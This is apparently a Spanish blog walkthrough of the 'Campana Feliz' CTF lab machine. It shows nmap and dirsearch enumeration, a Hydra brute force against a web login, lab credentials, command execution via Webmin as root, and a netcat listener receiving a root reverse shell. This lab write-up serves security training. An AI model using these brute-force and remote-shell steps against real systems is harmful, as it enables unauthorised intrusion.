Post

CTF-Campana Feliz

Guía en Texto del CTF Campana Feliz de The Hacker Labs

Esta guía incluye la enumeración de puertos, técnicas de recopilación de información, acceso, y escalamiento de privilegios.

Índice

1.Campana feliz

1.1Detalle de la maquina virtual

2.Reconocimiento

2.1Conectividad

2.2Escaneo y Enumeración

3.Obtener Acceso - Exploración y Explotación de vulnerabilidades

3.1Validación de los sitios Web

3.2Fuzzing con Dirsearch

3.3Fuerza Bruta

3.4Accediendo al portal Shell.php

3.5Accediento al Webmin

3.6Reverse Shell

4.Observaciones y Recomendaciones

1. Campana Feliz

1.1 Detalles de la máquina virtual

Campana Feliz es una máquina virtual proporcionada por la plataforma web de CTFs The Hacker Labs. Agradecemos su contribución y apoyo a la comunidad, lo cual nos permite seguir creciendo y aprendiendo sobre este apasionante mundo de la ciberseguridad Ofensiva. Visitalos: The Hacker Labs

imagen.

Después de descargar la máquina virtual, obtendrás un archivo .ova. Al ejecutarlo, este archivo desplegará la máquina virtual en VMware o VirtualBox, y se le asignará automáticamente una dirección IP de la red en la que estás trabajando.

Vm nameIp AdressCreatorsLevel
Botana de Calamares192.168.1.51The Hacker LabsPrincipiante

2.Reconocimiento

2.1 Conectividad

Lo primero que debemos hacer es verificar el acceso al escenario. Para ello, validamos la conectividad desde nuestra máquina virtual hacia el objetivo. Una vez confirmada la conexión, podemos iniciar las pruebas de ethical hacking.

1
2
3
4
5
6
9 (192.168.1.49) 56(84) bytes of data.
64 bytes from 192.168.1.51: icmp_seq=1 ttl=64 time=2.45 ms

--- 192.168.1.51 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.454/2.454/2.454/0.000 ms

2.2 Escaneo y Enumeración

Utilizamos Nmap para recopilar información que podría ser empleada posteriormente en un ataque. En nuestra exploración, buscamos identificar las versiones de los servicios y el sistema operativo del objetivo. El comando utilizado fue nmap -sVC -T4 -p- 192.168.1.51. Como resultado, observamos que el objetivo tiene los siguientes puertos abiertos: 22,8088,10000.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
──(root㉿v4lcyfer)-[/home/kali]
└─# nmap -sVC -p- -T4 192.168.1.51              
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-16 20:00 EST
Nmap scan report for 192.168.1.51
Host is up (0.00099s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE               VERSION
22/tcp    open  ssh                   OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 3d:9f:d1:71:81:33:e4:14:8a:78:1c:16:b4:a3:22:da (ECDSA)
|_  256 74:3f:23:c1:c2:68:1e:b5:72:44:8a:8c:02:e4:e5:02 (ED25519)
8088/tcp  open  http                  Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (text/html).
10000/tcp open  ssl/snet-sensor-mgmt?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=debian/countryName=US
| Subject Alternative Name: DNS:debian, DNS:localhost
| Not valid before: 2024-12-09T08:17:52
|_Not valid after:  2029-12-08T08:17:52
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 Document follows
|     Date: Mon, 17 Feb 2025 01:00:43 GMT
|     Server: MiniServ
|     Connection: close
|     Auth-type: auth-required=1
|     Set-Cookie: redirect=1; path=/; secure; httpOnly
|     Set-Cookie: testing=1; path=/; secure; httpOnly
|     X-Frame-Options: SAMEORIGIN
|     Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; frame-src 'self'; child-src 'self'
|     X-Content-Type-Options: nosniff
|     X-no-links: 1
|     Content-type: text/html; Charset=UTF-8
|     <!DOCTYPE HTML>
|     <html data-bgs="gainsboro" class="session_login">
|     <head>
|     <meta name="color-scheme" content="only light">
|_    <noscript> <style> html[data-bgs="gainsboro"] { background-color: #d6d6d6; } html[data-bgs="nightRider"] { background-color: #1a1c20; } html[data-bgs="nightRider"] div[data-noscript] { color: #979ba080; } html[data-slider-fixed='1'] { margin-right: 0 !important; } body > div[data-noscript] ~ * { display: none !impo
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port10000-TCP:V=7.94SVN%T=SSL%I=7%D=2/16%Time=67B28A3D%P=x86_64-pc-linu
SF:x-gnu%r(GetRequest,103A,"HTTP/1\.0\x20200\x20Document\x20follows\r\nDat
SF:e:\x20Mon,\x2017\x20Feb\x202025\x2001:00:43\x20GMT\r\nServer:\x20MiniSe
SF:rv\r\nConnection:\x20close\r\nAuth-type:\x20auth-required=1\r\nSet-Cook
SF:ie:\x20redirect=1;\x20path=/;\x20secure;\x20httpOnly\r\nSet-Cookie:\x20
SF:testing=1;\x20path=/;\x20secure;\x20httpOnly\r\nX-Frame-Options:\x20SAM
SF:EORIGIN\r\nContent-Security-Policy:\x20script-src\x20'self'\x20'unsafe-
SF:inline'\x20'unsafe-eval';\x20frame-src\x20'self';\x20child-src\x20'self
SF:'\r\nX-Content-Type-Options:\x20nosniff\r\nX-no-links:\x201\r\nContent-
SF:type:\x20text/html;\x20Charset=UTF-8\r\n\r\n<!DOCTYPE\x20HTML>\n<html\x
SF:20data-bgs=\"gainsboro\"\x20class=\"session_login\">\n<head>\n\x20<meta
SF:\x20name=\"color-scheme\"\x20content=\"only\x20light\">\n\x20<noscript>
SF:\x20<style>\x20html\[data-bgs=\"gainsboro\"\]\x20{\x20background-color:
SF:\x20#d6d6d6;\x20}\x20html\[data-bgs=\"nightRider\"\]\x20{\x20background
SF:-color:\x20#1a1c20;\x20}\x20html\[data-bgs=\"nightRider\"\]\x20div\[dat
SF:a-noscript\]\x20{\x20color:\x20#979ba080;\x20}\x20html\[data-slider-fix
SF:ed='1'\]\x20{\x20margin-right:\x200\x20!important;\x20}\x20body\x20>\x2
SF:0div\[data-noscript\]\x20~\x20\*\x20{\x20display:\x20none\x20!impo")%r(
SF:HTTPOptions,103A,"HTTP/1\.0\x20200\x20Document\x20follows\r\nDate:\x20M
SF:on,\x2017\x20Feb\x202025\x2001:00:43\x20GMT\r\nServer:\x20MiniServ\r\nC
SF:onnection:\x20close\r\nAuth-type:\x20auth-required=1\r\nSet-Cookie:\x20
SF:redirect=1;\x20path=/;\x20secure;\x20httpOnly\r\nSet-Cookie:\x20testing
SF:=1;\x20path=/;\x20secure;\x20httpOnly\r\nX-Frame-Options:\x20SAMEORIGIN
SF:\r\nContent-Security-Policy:\x20script-src\x20'self'\x20'unsafe-inline'
SF:\x20'unsafe-eval';\x20frame-src\x20'self';\x20child-src\x20'self'\r\nX-
SF:Content-Type-Options:\x20nosniff\r\nX-no-links:\x201\r\nContent-type:\x
SF:20text/html;\x20Charset=UTF-8\r\n\r\n<!DOCTYPE\x20HTML>\n<html\x20data-
SF:bgs=\"gainsboro\"\x20class=\"session_login\">\n<head>\n\x20<meta\x20nam
SF:e=\"color-scheme\"\x20content=\"only\x20light\">\n\x20<noscript>\x20<st
SF:yle>\x20html\[data-bgs=\"gainsboro\"\]\x20{\x20background-color:\x20#d6
SF:d6d6;\x20}\x20html\[data-bgs=\"nightRider\"\]\x20{\x20background-color:
SF:\x20#1a1c20;\x20}\x20html\[data-bgs=\"nightRider\"\]\x20div\[data-noscr
SF:ipt\]\x20{\x20color:\x20#979ba080;\x20}\x20html\[data-slider-fixed='1'\
SF:]\x20{\x20margin-right:\x200\x20!important;\x20}\x20body\x20>\x20div\[d
SF:ata-noscript\]\x20~\x20\*\x20{\x20display:\x20none\x20!impo");
MAC Address: 00:0C:29:75:35:25 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.52 seconds

3. Obtener Acceso - Exploración y Explotación de Vulnerabilidades

3.1 Validación de los sitios web

Dado que el puerto 8080 y 10000 está abierto, procederemos a examinar el contenido del sitio web.

imagen.

No observamos nada… sospechoso. Revisemos el código de la página.

imagen.

Encontramos algunos mensajes que, aparentemente, están codificados en Base64. Vamos a decodificarlos.

1
2
3
4
5
6
7
8
9
┌──(root㉿v4lcyfer)-[/home/kali]
└─# echo "Q2FtcGFuYSBzb2JyZSBjYW1wYW5hCgpZIHNvYnJlIGNhbXBhbmEgdW5hCgpBc8OzbWF0ZSBhIGxhIHZlbnRhbmEKClZlcsOhcyBlbCBuacOxbyBlbiBsYSBjdW5hCg==" | base64 -d
Campana sobre campana

Y sobre campana una

Asómate a la ventana

Verás el niño en la cuna

El famoso villancico.

1
2
3
┌──(root㉿v4lcyfer)-[/home/kali]
└─# echo "Q2FtcGFuYSBDYW1wYW5hIENhTXBBTkEgQ2FNcGFOYQo=" | base64 -d
Campana Campana CaMpANA CaMpaNa

Posible pista con un usuario campana.

Vamos a ver la otra pagina del puero 10000

imagen.

Un webmin, probemos si el usuario campana se puede autenticar.

imagen.

Nunca tan fácil.

3.2 Fuzzing al sitio web con Dirsearch

Como ya hemos revisado los sitios web a simple vista, ahora toca analizarlos con mayor detalle mediante fuzzing. Para ello, primero utilizaremos Dirsearch.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(root㉿v4lcyfer)-[/home/kali]
└─# dirsearch -u http://192.168.1.51:8088
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/http_192.168.1.51_8088/_25-02-16_21-53-37.txt

Target: http://192.168.1.51:8088/

[21:53:37] Starting: 
[21:53:40] 403 -  279B  - /.ht_wsr.txt
[21:53:40] 403 -  279B  - /.htaccess.orig
[21:53:40] 403 -  279B  - /.htaccess.save
[21:53:40] 403 -  279B  - /.htaccess.sample
[21:53:40] 403 -  279B  - /.htaccess.bak1
[21:53:40] 403 -  279B  - /.htaccess_extra
[21:53:40] 403 -  279B  - /.htaccess_orig
[21:53:40] 403 -  279B  - /.htaccessBAK
[21:53:40] 403 -  279B  - /.htaccessOLD
[21:53:40] 403 -  279B  - /.htaccessOLD2
[21:53:40] 403 -  279B  - /.htm
[21:53:40] 403 -  279B  - /.htaccess_sc
[21:53:40] 403 -  279B  - /.html
[21:53:40] 403 -  279B  - /.htpasswds
[21:53:40] 403 -  279B  - /.httr-oauth
[21:53:40] 403 -  279B  - /.htpasswd_test
[21:53:41] 403 -  279B  - /.php
[21:54:33] 403 -  279B  - /server-status
[21:54:33] 403 -  279B  - /server-status/
[21:54:34] 200 -  553B  - /shell.php

Task Completed
                              

Hemos obtenido un resultado interesante: /shell.php, Vamos a revisar.

imagen.

Interesante, otro portal donde podemos autenticarnos.

imagen.

Como sospechamos que el usuario podría ser campana, podríamos aplicar fuerza bruta con el diccionario RockYou para probar suerte y con este mensaje de error podemos ayudarnos bastante.

3.3 Fuerza Bruta Shell.php

Desde nuestro Kali, vamos a ejecutar un ataque de fuerza bruta con Hydra.

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿v4lcyfer)-[/home/kali/Downloads]
└─# hydra -l campana -P rockyou.txt 192.168.1.51 -s 8088 http-post-form "/shell.php:username=^USER^&password=^PASS^:Username or password invalid"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-16 22:22:08
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://192.168.1.51:8088/shell.php:username=^USER^&password=^PASS^:Username or password invalid
[8088][http-post-form] host: 192.168.1.51   login: campana   password: lovely
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-16 22:22:12

¡Excelente! Hemos obtenido la contraseña: lovely

Y pensarás: ¡Wow! ¿Qué es este súper comando y por qué es tan largo? No es como el Hydra que usaba normalmente… ¿Por qué tantas opciones?

Está bien, Está bien, tranquilo. Aquí vamos con el apartado que mas te gusta.

! Importante: Alto en Teoría

Si tienes estos conceptos claros, puedes adelantarte

Vamos a explicar un poco estos parámetros de Hydra y su función en el ataque.

http-post-form → Indica que el ataque será contra un formulario web que usa el método HTTP POST. “/shell.php:username=^USER^&password=^PASS^:Username or password invalid”: /shell.php → Página donde se envía el formulario (endpoint de autenticación). username=^USER^&password=^PASS^ → Hydra reemplaza ^USER^ por “campana” y ^PASS^ por cada contraseña del diccionario. Username or password invalid → Indica el mensaje de error que la página devuelve cuando las credenciales son incorrectas.

3.4 Accediendo al portal shell.php

Accedemos con las credenciales obtenidas.

Usuario : Camapana Contraseña : Lovely

imagen.

Observamos que se trata de un ejecutor de comandos. Hagamos algunas pruebas y exploremos sus capacidades.

ls -l

imagen.

Después de explorar un rato, encontramos información interesante en el directorio /opt.

ls /opt

imagen.

Ahora observemos el contenido del archivo Webmin.txt, que si bien recordamos tenemos un servicio asi por el puerto 10000

imagen.

obtenemos las credenciales del webmin.

Usuario : santaclaus Contraseña : FelizNavidad2024

3.5 Accediendo al Webmin

Accesdemos con las credenciales encontradas.

imagen.

Explorando un poco el dashboard de Webmin, encontramos una sección dentro de ‘Tools’ donde podemos ejecutar comandos. En el cual observamos que tiene el usuario root por defecto.

imagen.

Si bien acá se termina el reto vamos a obtener una reverse shell para poder ejecutar comandos mas comodamente.

3.6 Reverse shell

Dejamos un puerto en escucha desde nuestro Kali.

1
2
3
root㉿v4lcyfer)-[/home/kali/Downloads]
└─# nc -lvnp 1234                 
listening on [any] 1234 ...

Ahora desde el Webmin

imagen.

Y desde el kali ya tenemos un shell del objetivo.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿v4lcyfer)-[/home/kali/Downloads]
└─# nc -lvnp 1234                 
listening on [any] 1234 ...
connect to [192.168.1.50] from (UNKNOWN) [192.168.1.51] 37494
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
ls
root.txt
webmin-1.920
webmin-1.920.tar.gz

4. Observaciones y Recomendaciones

  • Es importante no depender únicamente de una herramienta para obtener información. No está de más comparar los resultados con otras herramientas o incluso probar alguna nueva que nos proporcione un mayor alcance.

  • Siempre el agradecimiento a The Hacker Labs por el esfuerzo que hacen en la plataforma para que la comunidad pueda seguir aprendiendo en escenarios seguros.

Saludos!

!Hack the life!

This post is licensed under CC BY 4.0 by the author.